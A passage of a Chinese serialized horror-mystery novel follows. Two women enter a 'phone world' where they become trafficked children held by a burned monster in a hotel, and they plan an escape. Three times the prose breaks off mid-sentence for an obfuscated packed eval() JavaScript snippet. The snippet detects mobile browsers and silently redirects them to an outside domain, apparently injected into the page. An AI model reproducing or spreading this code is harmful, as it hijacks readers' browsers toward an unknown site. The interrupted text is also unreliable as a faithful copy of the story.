“一晚里多次通话是可能的,”舒司鸢还记得昨晚她听到好几次钢琴声,“但或许不能和同一个透明人重复打。” 否则它们不停打了挂,挂了打,舒司鸢来的第一天就能秒变透明。 “这样的话,假设昨晚光头大叔、小男孩和鱼尾裙女人都在睡觉的话,光头大叔最多只能失去躯干和双臂。”黄铃珑顺着她的思路推断下去。 “可是小男孩很特殊。”舒司鸢接话道。 小男孩已经完全获得人类的身体了,也许他不受到重复通话规则的束缚。 但这样就又绕回来了,还是那句话,小男孩真能这样做的话,她们没人能活过一个晚上。 “到底怎样才能出去啊。”黄铃珑跺地板的声音更大了,她在没有窗户的房子里待了好几天,心情不免烦躁。 舒司鸢没有立刻回应,她再次解锁老板的手机,一张张检查起那四张照片。 翻到第二张时,她的手顿在半空。 画面中央,赫然是小男孩的脸。 她恍然意识到什么,再去看其他孩子的脸,那些五官分明映在她眼中,可等她移开视线时,却从她脑海中滑走了。 “只有能在现实中被看见完整身体的透明人,才会被记录在照片里。”她来回滑动照片,叫黄铃珑也来看。 剩下五个孩子的脸无法被记忆,因为它们是透明的。 也就是说,小男孩是在昨晚才转化成功的。毕竟她在昨晚入睡前才查看过照片,当时她一张脸都没记住。 她又点了一下屏幕,照片缩小,回到聊天框,最底下是老板发的那句“回家”。 黄铃珑瞧了好几眼,回过味来了:“她的意思不会是,让我们送这些孩子回家吧?” 宾馆是老板的宾馆,说不定出路就在完成她给出的任务里。 “不一定是所有孩子,”舒司鸢心中微动,“你刚才注意到了吗?小男孩是可以出房间的。” 黄铃珑闻言回想,她们和小男孩说话的时候,对方确实有只脚迈出房门半步。 而其余透明人无法从房间中出去,除非它们取得自身所缺乏的那部分身体后。但这样所需的时间就太长了,半年来也只有小男孩一个成功了。 她们对视一眼,异口同声道:“没有门。” 宾馆的大门不见了,她们得找另外的出口。 手机自动息屏,映在舒司鸢眼底的光亮消失,取而代之的是黄铃珑的身影。对方显然有所顾虑,步子放得又轻又缓。 舒司鸢明白她在担心什么。 小男孩已经不是人类了,她们却要把他送回原来的家。 一个回到人群当中的鬼,他会做什么? 舒司鸢把手机放到床头柜上,发出细微的磕碰声,垂着眼帘一眼未看黄铃珑。 黄铃珑作为调查员,职责便是清除‘域’。然而逃出宾馆的方法,是亲手再打造一个‘域’。 她会怎么选? 无声的缄默里,她的余光将黄铃珑凝重的神态尽收眼底,舒司鸢在心里悄悄谋划起另一条计划。 如果黄铃珑甘于自困,也不想把小男孩带出去的话,她得趁早踹了这个临时队友,好自谋出路,省的关键时刻背刺她。 灯光照在她无法看清的面容上,睫毛投下两小片阴影。 她不是高尚的救世主。 “我们带他出去。” 沉默并没有持续太久,黄铃珑果断的声音传来。 舒司鸢一怔,差点以为自己听错了。抬头看向她,望进一双透彻的双眼。 舒司鸢能看懂黄铃珑的想法,黄铃珑亦是如此。 “宾馆会一直存在。进来的人越来越多,总会有人把他带出去,为什么不能是我?”黄铃珑念念叨叨,语气逐渐自信,“我提前清除掉这个‘域’,后面再来住这家宾馆的人还要感谢我呢。” “有道理。”舒司鸢由衷道。 “就这么决定了。”黄铃珑手握成拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303950|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,在空中挥了两下,“找门吧。” “关于出口在哪,我有一个想法。”舒司鸢欣慰于自己终于遇到一位达成共识的盟友,将自己的推想告诉她。 “真正的出口,也许在电话世界里。” 黄铃珑张着嘴巴,沉思几秒,努力跟上她的思路:“是因为那位穿着红色裙子的女士……” “对。她说过‘另一个世界’,这家宾馆的‘另一个世界’,就是透明人的世界。” 黄铃珑注意到自己的傻状,赶紧闭上嘴,反应过来自己还要说话,又张开了:“怎么过去?等透明人打电话的时候吗?” 毕竟透明人相互通话时,是她们彼此能够触碰的唯一时刻。 “是要用到电话,但还要另外一样道具。”舒司鸢吐出两个字,“蜡烛。” 那根由外卖员送来的蜡烛。它表面上能克制透明人,暗地里却是助长透明人实力的东西。 蜡烛燃烧时,透明人不会现身拨打电话。这个时候,活人去打电话,会怎么样? 黄铃珑一点就通:“点燃蜡烛后,我和你打电话!” 激动过后,她又垂下头,失落道:“可我们不知道房间的号码啊。” “昨天晚上我看到了。”舒司鸢让她放心,“我来打给你。” 不过她还是告知了黄铃珑她的房间号码,以免她这里突生变故,对方还能给她打来。 事不宜迟,她们商量着下单了一些防身用的物资,领到各自的蜡烛后回房点燃。 浴室内的蜡烛正好烧尽,舒司鸢招招手,芝麻竖起尾巴,从浴室中小跑出来。 她刚带着猫走到床边,黄铃珑的电话就打了过来。 “喂?”黄铃珑的声音仿佛镀上一层电流,有些失真。 “是我。”舒司鸢道,对着脚边的芝麻说,“叫一声。” 芝麻不为所动,专注地嗅着床头柜。 黄铃珑在那头对这句话不明所以,但还是配合地“啊”道。 舒司鸢没忍住笑了一声,手上动作不停。她把猫推倒在地板上,戳了一下它的肚子。 芝麻马上打她的手:“喵。” 黄铃珑也听见了,明白过来舒司鸢刚才是对猫说话。她有点发窘道:“你那边还有猫啊?” “嗯。关在浴室里了。”舒司鸢收回手,“我让它也说句话,万一它没过去呢。” 黄铃珑刚想说话,不料一阵天旋地转,她只来得及捏紧手里的购物袋,下一秒便被吸进了电话里。 …… “哇!”黄铃珑大口吸气吐气,穿越得猝不及防,她紧张得忘记了呼吸。 “没事吧?”舒司鸢关切道。她倒是适应良好,毕竟几天前才穿越过一次,怎么说也比黄铃珑有点经验。 黄铃珑靠着墙摇头,忽然意识到不对。 “我怎么变小了?”她难以置信地看着自己的细胳膊细腿。 “我们变成那些孩子了。”舒司鸢同样顶着一张小脸,把黄铃珑往角落里拉。 她们买的绳子小刀之类的东西全没跟着过来,芝麻也不在房间里。更别提小孩子力气小,跑得也不快,跟小鸡崽似的被人一抓一个准。她们急需商讨出对策。 然而已有一个小男孩听到了她们的对话,凑到她们跟前同情道,“小铃,我就说你被打傻了吧。” 黄铃珑一口气还没喘匀,先骂回去了:“你才傻!” 舒司鸢正要拉偏架,注意到这边动静的女孩走了过来。 她年纪比她们只大一点,语气却老成不少:“你们两个安静点。” 女孩朝门口投去惧怕的一眼,低声道:“还想被打吗?” 13. 透明的房客5 舒司鸢深谙苟命艺术,马上拉着黄铃珑保证她们再也不闹事了。 女孩严厉的目光扫过男孩,男孩也嘟囔着道歉。 为了防止她们一言不合又吵起来,女孩带着那个男孩走到房间的另一边,和舒司鸢她们隔着一张床的距离。 舒司鸢借着目送她们离开,环视房间一圈,靠近黄铃珑,用气音说:“加上我们,一共七个。” 黄铃珑也刚数了一遍人数。少的那个是203房中的小男孩。 黄铃珑说:“看来成功获得身体后,就等于离开电话世界了。” “买的东西留在原来的世界了,”黄铃珑语气忧愁,“我们还变成了这么小的小孩子,随便来个人都能一拳打到我俩。” 确实,舒司鸢看看自己的小身板儿,又看看黄铃珑的。她俩加起来连十岁也没有。 而且她更担心的是,芝麻还不知道有没有进入电话世界。 难道她猜错了,一台电话只有一个名额? 门外传来钥匙插入锁孔的声音,有人在粗暴地拧动门把手。 舒司鸢一惊,后背贴紧墙壁,她的手臂和黄铃珑的手臂挨着。黄铃珑温热的体温入侵薄薄的衣料,蔓延在她的皮肤上。 她的思绪回笼,专心盯着门。还是先顾好眼前的难关吧。 门“砰”地撞在墙壁上,整个房间为之一震,几块大小不一的墙灰扑簌簌落下。 舒司鸢的心跟着高高向外抛去。她看向门外,霎时沁出一背的冷汗。 门口处,逆光站着一个烧焦的“人”,形状上却更接近一段烧焦的枯木。它的四肢、躯干和脑袋都被拉长成一样的长度与粗细,但弯曲的程度不同,脑袋歪得最严重,已经垂到左肩上——如果那玩意儿有肩膀的话。 它一手端着汤碗,另一只手向下垂落,执一条柳条。 柳条不知抽过多少人,上面覆着一层油亮的红膜。 孩子们显然全被吓到了,但没人敢表现出恐惧,全部规规矩矩站好。 方才来劝过架的女孩上前,双手接过它手中的汤碗,低眉顺眼地说:“单阿姨,我来拿吧,您做饭辛苦了。” 女孩的声音谦卑恭敬,声调却毫无波澜。只有接碗时,她的小腿微不可察地打颤了一下。 被叫作单阿姨的怪物伸出手,在空中点了几下,似是在数人头。 人数没变少。她放下手,纹路斑驳的脸上裂开一条大缝,嗓音沙哑得像是吞过几把沙子:“很好。要是再少人,少几个我打你们几顿!” 单阿姨说到最后一句话,语调升腾起滔天怒意,恶狠狠地逐一盯过每个孩子。 它的头突然扭向舒司鸢,她的呼吸霎时凝固,大脑飞速运转。 房间里没有窗户,唯一的出口也被单阿姨牢牢堵住。 她强迫自己镇定下来,坦然与单阿姨对视,也就是这么一眼,她发觉单阿姨看的并不是她。 黄铃珑在她身旁发出细微的颤抖,连眼睛都忘记了眨动,眼珠外凸,似是要跳出眼眶。 单阿姨直勾勾地锁定黄铃珑,舒司鸢用一侧肩膀压住她,好让她的抖动看上去没有那么明显,顺便提醒她冷静点。 黄铃珑颤动的幅度小了些,却没有接到她的暗示。单阿姨先开口了,它说得很慢:“你怕我?” 此话一出,黄铃珑抖得更厉害了,舒司鸢不得不放开了她。 “单阿姨,她一冷就这样,是老毛病了。”舒司鸢模仿着那个女孩的语气,大着胆子说。 单阿姨的脑袋拔长,像拉面般被扯出长长一截,伸到黄铃珑面前,粗糙的焦肉摩擦过她的鼻尖,喉咙里咕隆一声:“是吗?” 黄铃珑听到舒司鸢为她解释,稍微找回一些理智,上下两排牙齿咯吱打架,挤出一丝声音:“……是。” 单阿姨与她脸贴着脸,大嘴仍张开着,喷出恶臭的气体,通体漆黑的尖牙上挂着碎肉,往前一伸便能刺破黄铃珑娇嫩的皮肉。 终于,它合上了嘴,脑袋也缩了回去。 “周一,你照顾她们吃饭,不要吵。” 单阿姨说,空出的那只手也无限延伸,穿过房间,抓起桌子上的空碗,随后倒着走出去锁上了门。 门刚一落锁,黄铃珑身体瞬间瘫软,跌倒在地。 “还好吗?”舒司鸢也蹲下去。 黄铃珑胸膛剧烈起伏,擂鼓般的心跳声砸着她的耳膜。她没听清舒司鸢的问话,手却用力抓着她的手腕。 名叫周一的女孩走过来,也蹲下身子,手抚上黄铃珑的额头,试了试温度,说道:“没事吧?” 黄铃珑缓过劲来,摇了摇头。 周一收回了手,往浴室瞥了一眼:“你们也去洗手吧,吃饭了。” 周一和舒司鸢合力把黄铃珑拉起来,舒司鸢扶着她去浴室。 最后一个孩子洗完了手,与她们擦身而过,好巧不巧给二人留出了交流的空间。 舒司鸢踩上洗手台前放的一张矮凳,打开了水龙头。 “刚才谢谢你。”哗哗的水流声里,黄铃珑尽力让自己的声音不被掩盖。 “没什么。”舒司鸢仔细地搓着手指。宾馆的水仿佛是从井里打上来的,凉得彻骨。 水流滑过皮肤,引起一阵刺痛。她定睛一看,那是几道狰狞的细长血痕,一直蔓延进袖子里。 “才不是没什么,要不是你,”舒司鸢洗好了,黄铃珑接替她的位置,“说不定我就死了。” “你死不了,”舒司鸢说,“顶多被抽几鞭子,打个半死吧。” 黄铃珑也看过老板与X的聊天记录,知道她们此刻是在什么情境里。因此她马上理解了舒司鸢的话。 冷得异常的水浇在黄铃珑手上,她狠狠哆嗦一下,凳子跟着晃了一下。 舒司鸢一脚踩在矮凳的一角,“那个单阿姨花了大力气拐了这么多孩子,它还指着我们换钱,不会杀我们。” “它希望我们怕它、顺从它,但又不希望我们表现出来,要我们恭恭敬敬地巴结它,”她总结道,“你之后再见到它,学那个叫周一的女孩子的做法。” 黄铃珑拼命点头。保命不挨打的方法是狂吹怪物彩虹屁。 “对了,我给你找的那个理由,”舒司鸢吞吞吐吐地说,“有点弊端。” 对上黄铃珑不解的目光,她解释道:“像你这种……嗯,有病的,卖的钱肯定要打折扣。单阿姨想挑刺撒气,你最容易被找上。” 她补充一句:“不是在骂你。” “我知道了。”这一点黄铃珑倒是不太放在心上,从小到大她磕磕碰碰的,受的伤多了去了,只要不丢命,挨多痛的打她都愿意。 “手最好洗干净点,”舒司鸢看着镜子里黄铃珑的脸,“对了,你这么害怕怪物的话,为什么还要当调查员啊?” 话音刚落,浴室的门被推开了,冒出周一的脑袋,“你们洗好没?” “好了好了。”黄铃珑关上水龙头,跳下矮凳,甩着手上的水珠,跟在舒司鸢后头出去了。 单阿姨给她们端来的饭是一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309009|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。出锅的时间太久,面早已变得冷硬,表皮结着油点。 “就剩你们没吃了。”周一捧着碗,往她们手心里倒了两小坨面。 “吃吧,”舒司鸢劝她,“一天只有一顿饭。” 黄铃珑悲伤地将面团一口闷,怪不得舒司鸢叫她把手洗干净点。 她们又去洗黏糊糊的手,这一次有周一盯着,两人没找到说话的机会。 饭后,孩子们三三两两压着声音聊天,像一群蚊子在嗡嗡叫。 舒司鸢便趁机套起周一的话。得知七个人全是从周家村被单阿姨带进城的,已经过去一个礼拜了。周一也并非她的真名,而是单阿姨图方便,按年龄从大到小排序,分别叫一二三四五。 好随意的起名方式,舒司鸢默默腹诽,那她想当周六。 她没能如愿以偿,因为周一告诉她,舒司鸢就叫舒司鸢,黄铃珑也还是原名,或许是由于两人以真身进来的缘故,她们不是周家村的人。 “你本来叫什么?”舒司鸢好奇地问。 “我的原名是……是……”周一愣了下,表情刹那空白,眼珠疯狂往上翻,露出大片的眼白,片刻才骤然停滞,眼珠向下一转,恢复原先的模样,自如地说,“我就叫周一。” “你想回家吗?”舒司鸢换了个话题。 周一眼中流露怀念,总是蒙着阴霾的脸一下子明快起来,却没有回答,只是说:“去睡觉吧。” 因为舒司鸢给黄铃珑安了个莫须有的病,周一便安排黄铃珑睡在里侧,舒司鸢不想被别的孩子挤,干脆睡在最外侧,旁边只有一个黄铃珑。 她和黄铃珑对视一眼,默契地选择了远离门的那一侧。 周一关掉灯,房间陷入黑暗,如同有人用了好几罐黑色颜料把房间涂黑。 舒司鸢听着周一爬上床的窸窣声,在心里盘算明天要怎么溜出房间,调查一下宾馆的情况。 一直待在房间里,只能吃泡胀的面果腹。唯一走出房门的时候,就是单阿姨谈好价钱,把她卖掉的时候。 几个出门的借口闪过,舒司鸢一一估算着它们的可行性。然而小孩子的身体抵挡不住疲惫,她慢慢睡着了。 凌晨三点,门被往里推开一条细缝。 一线亮光漏进来,斜斜投射在床上,像是把熟睡的孩子们切断了。 舒司鸢本就睡得不安稳,此刻直接被光刺得惊醒,下一秒意识到身处何处,立刻又佯装睡着了。 难耐的寂静中,有人牵住了她的手,是黄铃珑,她也醒了。 光亮扩大,脚步声随之响起,它们进来了,在朝床靠近。 两种脚步声。一个是单阿姨的,还有一个是谁? 一块庞大的阴影投下。它在观察她们。 被子盖住了她们彼此交握的手,手湿漉漉的,分不清是谁的汗。她们互相汲取勇气。 臭味扑面而来,舒司鸢感到它在自己的正上方。 它鼻子里呼出的气流,拨动她额前的碎发,扎得她痒痒的,她强撑着保持不动。 喷出最后一口气,它移开了脸,去看别的孩子。 舒司鸢维持着不舒服的姿势,半边身子都麻了。 床忽然弹了一下,然后才是门被关上的声音。 不知道过去多久,周一起床去开灯了。 灯光亮起,意味着暂且安全的白日来临,她坐起身子,松了一口气。 她想和黄铃珑随便说两句话,便半转过身子,却僵在原地。 人少了一个。 14. 透明的房客6 不见的是那个昨天和黄铃珑搭过话的男孩,他分到的名字是周四。 周一叫她们全部起床去洗漱。舒司鸢掀开被子,跳下床,走到她身边,直截了当地问道:“周四被买走了?” “是啊,”周一掬一捧水,打湿指尖,给最小的女孩子擦脸,“男娃嘛,总是卖得快些。” 周一神色如常:“再说他年龄小,不容易记事,过个几年,就会彻底忘记自己从前是姓周的了。” 这话很难接,似乎就是奔着噎人的目的说出口的。舒司鸢从善如流地闭嘴去洗脸了,反正周一的话已经验证了她的一部分想法。 单阿姨连吃饭的筷子也不会给她们,自然也就不会花冤枉钱给她们买牙刷。黄铃珑吐掉带着一股铁锈味的冷水,嘴皮子都被冻得不太利索:“冷冷冷……照她的意思,我们被挑中的概率还挺大的……” 确实,她俩的性别虽说不太畅销,但两人在七个孩子中年纪偏小,像是应季水果上市时口感与质量较次的那一批,却胜在价格便宜,性价比高,所以也不愁没人买。 “今晚之前,必须逃出这个房间。小心……”舒司鸢的话说得极快极轻,话尾突兀收住。她将水龙头拧到最大,泼了黄铃珑一脸水,随后弯腰一头扎进池子里,双手胡乱揉脸。 舒司鸢大幅度的动作和未尽的话语,让黄铃珑迷惑不已,正欲开口,奈何她闪躲不及,被泼到了半张脸,只好先抹干水渍。 “你们俩每次都要洗这么久?” 黄铃珑把脸擦干的空当,周一几步走过来,伸手往前一推,原本半开的浴室门完全敞开,两手叉腰,语气责备。 黄铃珑下意识道歉,道歉到一半忽然明白过来,顿时愣住,凉意从脸上残余的几滴水珠蔓延到全身。 舒司鸢要她小心周一。 意识到这点,黄铃珑脑海中紧接着闪回过几幅相似的画面,拼图般拼合在一起。 周一。 她几次三番打断闯入浴室,打断她与舒司鸢的对话。 她是故意的,她不允许有人私下交谈,因为这些未能被她窥见的交谈,可能酝酿出一场逃跑的风暴。 她照顾孩子们,却也掌控孩子们,她是…… “监视。” 舒司鸢无声地对她作了个口型。周一要把门关上,正好背对着她。 周一警告似地看了她们一眼,穿过房间,占据了唯一一把椅子。 孩子们则坐在地上或床上,膝盖挨着膝盖,毛茸茸的脑袋相互抵着,纷纷猜测是什么样的人买了周四,然后紧跟着许愿自己能被好心肠的人快点买走。 地板上印着好几个不同的黑鞋印,和几颗风干的泥点。舒司鸢踩过地面,面对着周一坐到床上,黄铃珑坐到她身边。 空气中隐约浮动着酸臭变质的味道,那碗吃剩的面汤放在桌子上一晚没洗,在二十多度的气温里发酵出腻人的油味,一旦注意到后便如影随形。 舒司鸢忍受着这股味道,佯装与黄铃珑说些孩子气的话,实则暗地里观察着周一。 昨天晚饭后到睡觉前的这段时间里,她们和周一聊过。周一是七个孩子中最大的女孩子,她有十岁了,而年纪排在第二的周二才五岁。 照她本人的说法,剔除掉“男性”与“幼龄”的标签后,周一就是款滞销商品。 她上能奉承单阿姨,下能命令孩子们,做起这一切来得心应手。 单阿姨留下了她,但从来不忘推销她。若有一天,有人提出要买下周一,无论金额大小,单阿姨必定选择把她脱手。 周一不会看不清这一点,却反而更加卖力地讨好单阿姨,盼望它能够永远留下她。 舒司鸢的视线从周一身上移开,落到门口。 门被单阿姨从外面锁上了,要出去只能等她进来送饭的时候。 半夜她们睡觉时门也会开,但那时会一下进来两个怪物,她吃饱了撑的去送死。 再说她也没吃饱。 还好来电话世界之前她吃过面包,否则那两小口面,只够她吊着一口气活着。 她刚想到单阿姨端着碗进来的模样,单阿姨就仿佛和她心有灵犀似的,站在门外拿钥匙打开了门。 舒司鸢没有错过周一脸上意外的表情。单阿姨出现在她们的房间里,要么是晚上来送饭,要么是半夜陪着买家来挑选。 此时此刻它却突然造访,情况发生了变化。 舒司鸢揉着被子的一角,定定地盯着门口。 于她而言,变化意味着机会。 单阿姨扭曲的身体静静地在原地站立了一会儿,脑袋还在歪着,一双只有眼白的双眼扫视过每个人,接着往旁边一让,露出后面的人。 不同于单阿姨和怪物买家,那是个再正常不过的人。 还是个舒司鸢才见过不久的熟人。 住在207的光头大叔迈步进入房间,带着一副明显审视的神情,眼神相当锐利,直射而来。 忽然,他眼神一凝,随即迸发出光彩,径直走向坐在地板上的小女孩,掰过她的肩膀,分辨着那张灰扑扑的小脸。 “她多少钱?”光头大叔扭头问单阿姨。 单阿姨惯会看人下菜碟,知道光头大叔这是非周五不可,当即狮子大开口,要了一大笔钱。 光头大叔冷笑一声:“少蒙我,男娃女娃,行价多少,几岁该减几成,我比你清楚。” 说着,他提溜起周五夹在腋下,气势丝毫不输高得脑袋顶到天花板的单阿姨,“你按最低价卖我,我最多让你两成利。” 单阿姨权衡良久,最终说道:“三成。” 光头大叔便从口袋里摸出一把皱巴巴的钞票,一张夹杂其中的照片不慎掉落下来。 光头大叔赶忙蹲了下去。舒司鸢抢先一步,几乎是飞扑着摔在地上,一瞥眼看清照片上依偎的两个女孩。她迅速收回视线,捡起那张照片,还给光头大叔。 卷着毛边的褪色照片回到光头大叔的口袋,他往食指上吐了口唾沫,捻起钞票的边数起来。 周五注视着那些钱一张一张数齐叠好,反应过来,“哇”地一声哭起来。 单阿姨当然不包售后服务,咧开嘴吞下钱,立刻要光头大叔把哭得像烧水壶烧开了水的周五带走。 光头大叔也被她闹得心烦意乱,又黑又粗的眉毛夹起来,“周小苗,别哭了!” 光头大叔抱着她出去了,单阿姨又如同一棵静默的大树挺立着,凝视着她们,看舒司鸢的时间最久,终于转身离开了。 尚未关上的房门外,依稀传来周五哭得上气不接下气,抽噎着反驳:“我……我叫周五……” “你不叫周小苗来着?”光头大叔说。 门缝中,舒司鸢看到光头大叔站在对面房间的门前,在给周五看那张照片。 她眯起眼睛,竭力看清小小一块的门牌号。 然后门彻底关上,他粗犷的声音隔上一层厚膜,“你看……是你不……” “咔哒。” 锁落下了。 被挑剩的孩子们重新关入牢笼。 黄铃珑想问照片的事,却徒然生出一种被盯上的感觉。她的头转来转去,发现是周一直直地看着她们。 黄铃珑吞咽了下,掩饰自己的紧张。 舒司鸢察觉到这股暗流涌动,给了黄铃珑一个让她安心的眼神。 黄铃珑按捺下满肚子的疑问,等待着周一放松的时机。 再怎么说这具身体里也是个成年人的灵魂,周一再早慧,也不过是个区区十岁的小毛孩。 黄铃珑偏过脸,无视周一。 鉴于舒司鸢和黄铃珑两人行踪诡异,尤其是舒司鸢多此一举替光头大叔捡照片,周一把她们盯得很紧,不允许她们一起进入浴室上厕所。 不能一起,那就先后进去。率先进入浴室的舒司鸢想给黄铃珑传递信息,转了一圈实在没找到方法,只好先出来了。 结果她刚出来,就被守在门口的周一堵回去了。 对方将浴室仔细检查过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325649|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍,才放她出去。 舒司鸢示意黄铃珑不必进去了。两人坐回原位。 几个小时后,门忽地打开条缝。周一不得不拿起碗,起身出去了。她站在门口,竖起一根手指,放在嘴唇中间。 “保持安静”的命令是下给所有的孩子的,然而她只直勾勾望着舒司鸢。 舒司鸢朝她露出一个无害的笑容。 她就知道单阿姨不可能屈尊给她们洗碗。 周一一走,黄铃珑立刻问起舒司鸢关于照片的事。 舒司鸢说:“照片上是两个小女孩。其中一个是大叔的女儿,长得很像。另一个就是周小苗。” “他单方面认识周小苗,但不是很熟,只是认识而已。”黄铃珑说出自己方才观察的结论。 舒司鸢进一步道:“我想应该是他女儿拜托他找到自己失踪的朋友,也就是被拐卖的周小苗。” “他和单阿姨干的同一种勾当。自然清楚能在哪里找到周小苗。” 单阿姨把拐来的孩子们悄悄带入宾馆,买家则是这里的房客。所以在现实世界里,死亡的小孩们才会攻击入住宾馆的房客。 “这么多孩子,它到底是怎么带进来的……”黄铃珑半天才说道。 “扯远了,”黄铃珑收回发散的思绪,“还是想想怎么出去吧。” 房间里没有窗户,房门只在单阿姨来时才没上锁,钥匙只有单阿姨有,不过还有一个人能出去…… “有了,”黄铃珑冥思苦想后说道,“我取代周一成为单阿姨的走狗。” “等一下……”舒司鸢试图制止她。 黄铃珑却误解了她的意思,马上感激地说:“没想到你愿意代替我成为单阿姨的走狗。” 舒司鸢:“……我只是想提醒你,除了我们两个,外面还有一个人,说不定能为我们打开门。” 黄铃珑一点就通:“宾馆老板!” 她在手机上委托她们带孩子们回家,她们才由此进入电话世界。 黄铃珑激动地说:“老板是‘域’的创造者。‘域’的主体拥有对‘域’的绝对控制权。我们现在和她处于同一阵线,指哪她打哪,再来十个单阿姨都不怕。” 一段话说完,黄铃珑已经幻想到自己拳打脚踢单阿姨了。 然而她一抬头,却见舒司鸢平静地坐在她对面说道:“这里是电话世界。” 电话世界从‘域’中衍生,却不受‘域’的管辖,它是独立运行的。 舒司鸢肯定地说:“这些孩子才是电话世界的创造者。” 老板会觉得单阿姨可怖吗,应该是可恨吧。只有在骤然被迫离开家人的孩子们眼里,单阿姨才会是那种恐怖的怪物形象吧。 永远上锁的房门,越来越少的同伴,不听话就会挨打的日子。 一个怪物把她们从家带到宾馆,另一个怪物又把她们从宾馆带离,不知要到何处去,却一定是离家很远很远的地方。 “房间内也有我们的帮手,”舒司鸢转向坐在地上饿到吃手的周二和周三,“在这个世界里,孤立无援的只有单阿姨一个。” “那周一呢?”提起孩子,黄铃珑自然想到仍旧属于小孩的周一,“她——” 门嘎吱一响,又嘎吱一关。周一快速闪身溜进房间,手里稳稳当当端着方才带走的那个碗。 咸香的味道充斥在整个房间里,舒司鸢看到碗里冒尖的金黄色炒饭,红烧肉占了大半碗,还在冒着热气。 这不会是单阿姨准备的断头饭吧? “老板给的。”周一把碗放到桌子上,让她们都围过来,在碗里用勺子划出平均的五个格子。 周一铲起一格里的饭,想盛到小碗里,瓷勺却撞到一个坚硬的东西。 “当。” 闷闷的声音,大家都看了过去。 周一又挖了几勺,扯出一只小塑料袋。 塑料袋里装着一枚钥匙,贴着泛黄的白色贴纸。 上面是字迹模糊的三个数字——208。 15. 透明的房客7 舒司鸢站在外围,和周一隔着两个人。待看清周一手里的物品时,她的手从周二和周三相互挨着的肩膀中间穿过,直朝塑料袋而去。 周一往她手里塞了一碗饭。 舒司鸢:“?” 她捧着碗坐到一边去了。事已至此,先吃饭吧。 大家都分到了相同的份量,房间里一时只有碗勺碰撞的丁零当啷声,小孩子们吧唧吧唧吃饭的咀嚼声和吸鼻子的抽气声。 周一催促她们赶紧把饭吃完,几乎是每隔一分钟就朝门口望一眼。 周三最后一个把碗叠进汤碗里,周一立刻起身就要出门。 舒司鸢拦住了她:“这么多东西你一个人不好拿,我和你一起去吧。” “不需要,我刚才不也是一个人拿的。”周一一口回绝,她用钥匙打开锁,最终还是说了一句,“安静待着,等我回来再说。” 周一刚走,黄铃珑马上欢快地说道:“有了钥匙,我们就能出去了。” 周二和周三本来就对那把钥匙感兴趣,但她们没胆子问周一,此刻听到有人提起,便抹着油腻腻的嘴走过来。 “擦一下。”黄铃珑抽出几张纸巾给她们,指指自己的嘴角,接着转向舒司鸢,“周一不会自己偷偷跑了吧?” “周一姐姐才不会丢下我们呢。”周二板起脸,不高兴地看着黄铃珑。周三从她身后探出脑袋,拼命点头。 周一当然会丢下她们自己逃跑。 留下其余的孩子为她拖延时间,反正周一对单阿姨来说只是可有可无的添头。 不过周一根本跑不掉,要真能靠着那把钥匙就能出去,方才出门的就是舒司鸢,而不是周一了。 舒司鸢收好脸上不自觉流露的嘲弄神情,虚伪地附和了一声周二和周三,决定给自己捞两个小跟班。 听到她维护周一,周二周三一下子和她亲近许多,站得离她近了一些。 周二和周三还想和她说点周一的事情,正主便回来了。 她在这方天地里,依旧像个呼风唤雨的小领导,拍了拍桌子,示意所有人听她讲话。 “你们吃饭时应该也看见了,我手上有房间的钥匙。”周一从口袋小心地掏出钥匙,晃了两下又很快收回去。 五双眼睛齐齐盯着那把划过空气的钥匙。 周二和周三当场忘记新朋友舒司鸢,转而凑近周一,仰起充满希冀的小脸看她。 “我们是不是可以回家了?”周三抓着周一的袖口问道。 “是可以,”周一拂开她的手,“但不是现在。” 周三着急地直跺脚,“干嘛不快点跑?” “因为还有两个多小时,单阿姨就会来给我们送晚饭。”舒司鸢插了一句嘴,眼睛直直看向周一——这话她是解释给周一听的。 “对,”周一赞许地说,“我们最好等到第二天早上,这样就能多出整整一天的时间。” 是会多出一天,但也会少一个人。周一无所谓,会被买走的又不会是她。 周一的算盘珠子拨得劈啪响,舒司鸢这次却没有多嘴把话挑明。 周三不疑有他,乖乖地应下。周二年纪比她大一些,觉察出不对劲的地方,问道:“晚上不是会有……” “没想起来,那就晚饭后吧。”周一改口道。 周二和周三得到肯定回答,一想到再待两个小时就能回家,她们顿时叽叽喳喳地谈论起回到家后,要先把温老师布置的作业补上。 她俩不再缠着周一,舒司鸢便走到周一身边站定,向她问道:“你见到这里的老板了吗?她长什么样?” 周一摇了摇头:“没见到。我在厨房里洗碗的时候,那碗饭已经放在那里了,下面垫着一张老板写的纸条,说是让我们拿去吃。” “大厅里也没人?” “没有。”周一说。 舒司鸢看出她神情有异,追问道:“也没有门?” 